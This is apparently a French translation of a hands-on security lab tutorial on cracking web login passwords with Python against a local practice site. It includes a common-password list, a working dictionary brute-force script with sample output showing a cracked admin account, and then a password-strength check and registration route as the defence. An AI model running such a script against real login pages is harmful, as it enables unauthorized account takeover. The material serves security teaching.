Pirater les mots de passe de sites web avec Python

PythonPythonBeginner
Pratiquer maintenant

💡 Ce tutoriel est traduit par l'IA à partir de la version anglaise. Pour voir la version originale, vous pouvez cliquer ici

Introduction

Dans ce laboratoire (lab), vous prendrez le rôle d'un chercheur en sécurité chargé de tester la sécurité des mots de passe d'une application web. Vous explorerez les vulnérabilités des mots de passe faibles et apprendrez les techniques utilisées pour les craquer. Cette expérience pratique vous offrira des informations à la fois sur les techniques offensives et sur l'importance de mesures défensives solides en cybersécurité.

Exploration du site web cible

Dans cette étape, nous allons collecter des informations sur notre site web cible, une phase initiale cruciale dans toute évaluation de sécurité.

  1. Ouvrez votre navigateur web et accédez à http://localhost:8080/. Vous pouvez y accéder en cliquant sur l'onglet Web 8080 dans l'environnement LabEx.
Onglet du navigateur web LabEx

Note : Dans la machine virtuelle LabEx, le serveur web fonctionne sur un réseau public temporaire. Cela signifie que le nom de domaine que vous voyez peut ne pas être "localhost" mais un domaine réellement accessible. C'est normal et n'affecte pas l'exercice du laboratoire.

  1. Examinez attentivement le formulaire de connexion. Notez les points suivants :

    • Le site nécessite à la fois un nom d'utilisateur et un mot de passe.
    • Il n'y a pas de indices visibles concernant les noms d'utilisateur valides ou les exigences de mot de passe.
  2. Essayez de vous connecter en utilisant quelques combinaisons aléatoires de noms d'utilisateur et de mots de passe. Par exemple :

    • Nom d'utilisateur : test, Mot de passe : password123
    • Nom d'utilisateur : admin, Mot de passe : admin
    • Nom d'utilisateur : user, Mot de passe : 12345

Vous devriez recevoir un message "Nom d'utilisateur ou mot de passe invalide" pour chaque tentative.

  1. Sur la base de vos observations, nous pouvons faire quelques hypothèses éclairées sur le système de connexion :
    • Il ne révèle pas si un nom d'utilisateur existe ou non. C'est une bonne pratique de sécurité car elle ne divulgue pas d'informations sur les comptes valides.
    • Il n'y a pas de limite apparente au nombre de tentatives de connexion. Dans un scénario réel, cela pourrait être une vulnérabilité, permettant des tentatives illimitées de deviner le mot de passe.

Cette reconnaissance initiale nous aide à comprendre le système avec lequel nous avons affaire et guide nos prochaines étapes dans la tentative de craquer les mots de passe.

Création d'un dictionnaire de mots de passe

Maintenant que nous avons collecté des informations sur le système de connexion, nous allons créer un dictionnaire de mots de passe potentiels. Il s'agit d'une technique courante utilisée dans les tentatives de craquage de mots de passe.

  1. Ouvrez le terminal sur le bureau.
Terminal ouvert sur le bureau
  1. Dans le terminal, entrez la commande suivante pour créer et remplir le fichier passwords.txt :
cat << EOF > ~/project/password_lab/passwords.txt
123456
password
qwerty
letmein
admin
welcome
monkey
123456789
1234567890
superman
supersecret123
iloveyou
password123
123123
000000
12345678
sunshine
qwerty123
1q2w3e4r
111111
1234567
starwars
dragon
princess
adobe123
football
ashley
bailey
trustno1
passw0rd
whatever
EOF

Cette commande utilise une technique appelée "here document" en bash. Elle nous permet de créer un fichier avec plusieurs lignes de texte en une seule commande. Voici comment cela fonctionne :

  • cat << EOF > filename : Cela indique au système de prendre tout le texte jusqu'à ce qu'il voit "EOF" (End Of File) et de l'écrire dans le fichier spécifié.
  • Le texte entre le premier EOF et le deuxième EOF est le contenu qui sera écrit dans le fichier.
  • Le dernier EOF marque la fin du texte à écrire.

Après avoir exécuté cette commande, vous aurez créé un fichier nommé passwords.txt dans le répertoire ~/project/password_lab/, contenant une liste de mots de passe couramment utilisés (et donc faibles).

Dans un scénario réel, les attaquants pourraient utiliser des dictionnaires beaucoup plus volumineux, souvent contenant des millions de mots de passe. Ceux-ci pourraient inclure :

  • Des mots de passe couramment utilisés
  • Des mots de plusieurs langues
  • Des variantes de mots (par exemple, "password1", "p@ssword", "password123")
  • Des mots de passe filtrés lors de violations de données antérieures

Créer et utiliser de tels dictionnaires pour un accès non autorisé est illégal et contraire à l'éthique. Nous utilisons ce petit dictionnaire à des fins éducatives uniquement, pour comprendre comment ces attaques fonctionnent et comment s'en protéger.

Écriture du script de craquage de mots de passe

Maintenant que notre dictionnaire de mots de passe est prêt, nous allons créer un script Python pour automatiser le processus de test de ces mots de passe sur notre site web cible.

  1. Ouvrez le terminal sur le bureau s'il n'est pas déjà ouvert.

  2. Entrez la commande suivante pour ouvrir un nouveau fichier nommé password_cracker.py dans l'éditeur de texte nano :

nano ~/project/password_lab/password_cracker.py
  1. Copiez et collez le code Python suivant dans l'éditeur nano :
import requests
import time

def crack_password(username, password_list):
    url = 'http://localhost:8080'
    for password in password_list:
        response = requests.post(url, data={'username': username, 'password': password.strip()})
        if 'Login successful!' in response.text:
            print(f"Succeeded! {username} with password: {password.strip()}")
        else:
            print(f"Failed attempt for {username} with password: {password.strip()}")
        time.sleep(0.1)  ## Small delay to avoid overwhelming the server

def main():
    usernames = ['admin', 'user', 'root', 'administrator', 'webmaster']
    with open('passwords.txt', 'r') as f:
        passwords = f.readlines()

    for username in usernames:
        print(f"Attempting to crack password for user: {username}")
        crack_password(username, passwords)

if __name__ == '__main__':
    main()
  1. Enregistrez le fichier et quittez nano en appuyant sur Ctrl+X, puis Y, et enfin Entrée.

Analysons ce que ce script fait :

  • La fonction crack_password :

    • Prend un nom d'utilisateur et une liste de mots de passe en entrée.
    • Pour chaque mot de passe, elle envoie une requête POST à la page de connexion avec le nom d'utilisateur et le mot de passe.
    • Si la réponse contient "Login successful!", elle affiche un message de réussite.
    • Sinon, elle affiche un message d'échec.
    • Elle inclut un petit délai (0,1 seconde) entre les tentatives pour éviter de surcharger le serveur.
  • La fonction main :

    • Définit une liste de noms d'utilisateur courants à tester.
    • Lit les mots de passe à partir de notre fichier passwords.txt.
    • Pour chaque nom d'utilisateur, elle appelle crack_password avec la liste de mots de passe.

Ce script automatise le processus de test de nombreuses combinaisons de noms d'utilisateur et de mots de passe, de la même manière qu'un attaquant pourrait tenter de pénétrer dans un système. Cependant, il est important de noter que l'utilisation de telles techniques sans autorisation est illégale et contraire à l'éthique. Nous l'utilisons uniquement à des fins éducatives, pour comprendre comment ces attaques fonctionnent et comment s'en protéger.

Exécution du script de craquage de mots de passe

Maintenant que nous avons notre script de craquage de mots de passe, nous allons l'exécuter et analyser les résultats.

  1. Dans le terminal, accédez au répertoire contenant notre script :
cd ~/project/password_lab
  1. Exécutez le script avec la commande suivante :
python password_cracker.py
  1. Observez attentivement la sortie. Le script tentera de craquer les mots de passe de plusieurs noms d'utilisateur courants. Vous devriez voir une sortie similaire à ceci :
labex:password_lab/ $ python password_cracker.py
Attempting to crack password for user: admin
Failed attempt for admin with password: 123456
Failed attempt for admin with password: password
Failed attempt for admin with password: qwerty
Failed attempt for admin with password: letmein
Failed attempt for admin with password: admin
Failed attempt for admin with password: welcome
Failed attempt for admin with password: monkey
Failed attempt for admin with password: 123456789
Failed attempt for admin with password: 1234567890
Failed attempt for admin with password: superman
Succeeded! admin with password: supersecret123
  1. Analysez la sortie :
    • Quels mots de passe ont été craqués avec succès?
    • Pour quels noms d'utilisateur?
    • Combien de tentatives ont été nécessaires avant de trouver un mot de passe correct?
    • Pourquoi pensez - vous que certains mots de passe ont été craqués tandis que d'autres non?

Cet exercice démontre comment les mots de passe faibles peuvent être facilement devinés en utilisant des mots ou des motifs courants. Dans ce cas, le compte "admin" avec le mot de passe "supersecret123" était vulnérable à notre attaque par dictionnaire.

Il est essentiel de comprendre que bien que ce script ait été réussi dans cet environnement contrôlé, tenter d'utiliser de telles techniques contre des systèmes réels sans autorisation explicite est illégal et contraire à l'éthique. Cette connaissance devrait être utilisée pour comprendre les vulnérabilités et améliorer la sécurité, et non pour exploiter les systèmes.

Amélioration de la sécurité des mots de passe

Maintenant que nous avons réussi à craquer certains mots de passe, mettons en œuvre de meilleures politiques de mots de passe pour prévenir de telles attaques.

  1. Ouvrez l'onglet WebIDE dans la machine virtuelle LabEx. WebIDE est un environnement de développement intégré (IDE) basé sur le web qui vous permet d'écrire, d'exécuter et de déboguer du code directement dans votre navigateur. C'est similaire à l'éditeur VS Code, mais il s'exécute dans le navigateur. WebIDE est adapté pour éditer des fichiers de code plus longs.
Capture d'écran de l'interface WebIDE
  1. Dans l'explorateur de fichiers à gauche de l'écran, cliquez sur le fichier app.py pour l'ouvrir dans l'éditeur.
  2. Ajoutez la fonction suivante après le dictionnaire users pour implémenter des vérifications de force du mot de passe :
import re

def is_strong_password(password):
    if len(password) < 12:
        return False
    if not re.search(r'[A-Z]', password):
        return False
    if not re.search(r'[a-z]', password):
        return False
    if not re.search(r'\d', password):
        return False
    if not re.search(r'[!@#$%^&*(),.?":{}|<>]', password):
        return False
    return True
Code de vérification de la force du mot de passe

Cette fonction vérifie si un mot de passe :

  • A au moins 12 caractères
  • Contient au moins une lettre majuscule
  • Contient au moins une lettre minuscule
  • Contient au moins un chiffre
  • Contient au moins un caractère spécial
  1. Maintenant, ajoutez une nouvelle route pour l'inscription des utilisateurs qui met en œuvre cette politique de mots de passe. Ajoutez ce bloc de code avant la ligne if __name__ == '__main__': :
@app.route('/register', methods=['GET', 'POST'])
def register():
    message = ''
    if request.method == 'POST':
        username = request.form.get('username')
        password = request.form.get('password')
        if username and password:
            if is_strong_password(password):
                if username not in users:
                    users[username] = bcrypt.hashpw(password.encode('utf-8'), bcrypt.gensalt())
                    message = 'Registration successful!'
                else:
                    message = 'Username already exists'
            else:
                message = 'Password is not strong enough'
        else:
            message = 'Username and password are required'
    return render_template_string('''
    <!DOCTYPE html>
    <html lang="en">
    <head>
        <meta charset="UTF-8">
        <meta name="viewport" content="width=device-width, initial-scale=1.0">
        <title>Secure Registration</title>
        <script src="https://cdn.tailwindcss.com"></script>
    </head>
    <body class="bg-gray-100 h-screen flex items-center justify-center">
        <div class="bg-white p-8 rounded-lg shadow-md w-96">
            <h2 class="text-2xl font-bold mb-6 text-center text-gray-800">Secure Registration</h2>
            <form method="post" class="space-y-4">
                <div>
                    <label for="username" class="block text-sm font-medium text-gray-700">Username</label>
                    <input type="text" id="username" name="username" required class="mt-1 block w-full px-3 py-2 bg-white border border-gray-300 rounded-md shadow-sm focus:outline-none focus:ring-indigo-500 focus:border-indigo-500">
                </div>
                <div>
                    <label for="password" class="block text-sm font-medium text-gray-700">Password</label>
                    <input type="password" id="password" name="password" required class="mt-1 block w-full px-3 py-2 bg-white border border-gray-300 rounded-md shadow-sm focus:outline-none focus:ring-indigo-500 focus:border-indigo-500">
                </div>
                <div>
                    <button type="submit" class="w-full flex justify-center py-2 px-4 border border-transparent rounded-md shadow-sm text-sm font-medium text-white bg-indigo-600 hover:bg-indigo-700 focus:outline-none focus:ring-2 focus:ring-offset-2 focus:ring-indigo-500">
                        Register
                    </button>
                </div>
            </form>
            <p class="mt-4 text-center text-sm text-gray-600">{{ message }}</p>
            <p class="mt-2 text-center text-xs text-gray-500">Password must be at least 12 characters long and contain uppercase, lowercase, numbers, and special characters.</p>
        </div>
    </body>
    </html>
    ''', message=message)
Interface du formulaire d'inscription des utilisateurs

Ce code crée une nouvelle route pour l'inscription des utilisateurs. Il vérifie si le mot de passe soumis répond à nos critères de mot de passe fort avant de créer un nouvel utilisateur.

  1. Enregistrez les modifications dans WebIDE.
  2. Maintenant, redémarrons l'application Flask pour appliquer ces modifications. Ouvrez un terminal et exécutez :
pkill -f "python app.py"
python ~/project/password_lab/app.py
  1. Accédez à l'onglet Web 8080 et ajoutez /register à l'URL pour accéder au nouveau formulaire d'inscription :
Interface du formulaire d'inscription des utilisateurs
  1. Essayez d'enregistrer un nouveau compte avec un mot de passe faible (par exemple, "password123"). Observez comment l'application applique la nouvelle politique de mots de passe.

  2. Maintenant, enregistrez un nouveau compte avec un mot de passe fort qui répond à tous les critères. Par exemple :

    • Nom d'utilisateur : labex
    • Mot de passe : S3cureP@ssw0rd-2024

    Ce mot de passe répond à toutes nos exigences : il a plus de 12 caractères, contient des lettres majuscules et minuscules, des chiffres et des caractères spéciaux.

  3. Après avoir réussi à vous inscrire, testons notre script de craquage de mots de passe contre ce nouveau mot de passe fort. Modifiez le script password_cracker.py :

    • Ouvrez le terminal et entrez :
    nano ~/project/password_lab/password_cracker.py
    • Trouvez la ligne qui dit usernames = ['admin', 'user', 'root', 'administrator', 'webmaster']
    • Remplacez - la par usernames = ['labex']
  4. Exécutez le script modifié :

python ~/project/password_lab/password_cracker.py

Observez que le script échoue à craquer le nouveau mot de passe fort. Cela démontre l'efficacité de la mise en œuvre de politiques de mots de passe fortes.

Résumé

Dans ce laboratoire, vous avez vécu le processus de piratage éthique et de test de sécurité des mots de passe. Voici un récapitulatif de ce que vous avez accompli :

  1. Reconnaissance : Vous avez exploré une page de connexion, collectant des informations sur son comportement et ses vulnérabilités potentielles. Cette étape imite la façon dont un chercheur en sécurité ou un attaquant pourrait commencer son investigation d'un système cible.
  2. Création d'un dictionnaire de mots de passe : Vous avez créé une liste de mots de passe courants, simulant les dictionnaires utilisés dans les tentatives réelles de craquage de mots de passe. Cela a mis en évidence la vulnérabilité liée à l'utilisation de mots de passe courants ou faibles.
  3. Craquage de mots de passe automatisé : Vous avez écrit et exécuté un script Python pour automatiser le processus de test de plusieurs combinaisons de noms d'utilisateur et de mots de passe. Cela a démontré comment les attaquants pourraient tenter de pénétrer dans un système et à quelle vitesse les mots de passe faibles peuvent être compromis.
  4. Analyse des résultats : Vous avez exécuté votre script de craquage de mots de passe et analysé les résultats, en comprenant quels mots de passe étaient vulnérables et pourquoi. Cette étape a souligné l'importance d'utiliser des mots de passe forts et uniques.
  5. Mise en œuvre de mesures de sécurité : Enfin, vous avez amélioré la sécurité de l'application web en mettant en œuvre des politiques de mots de passe fortes et un système d'inscription sécurisé. Cela a montré comment des mesures de sécurité appropriées peuvent efficacement prévenir les attaques courantes.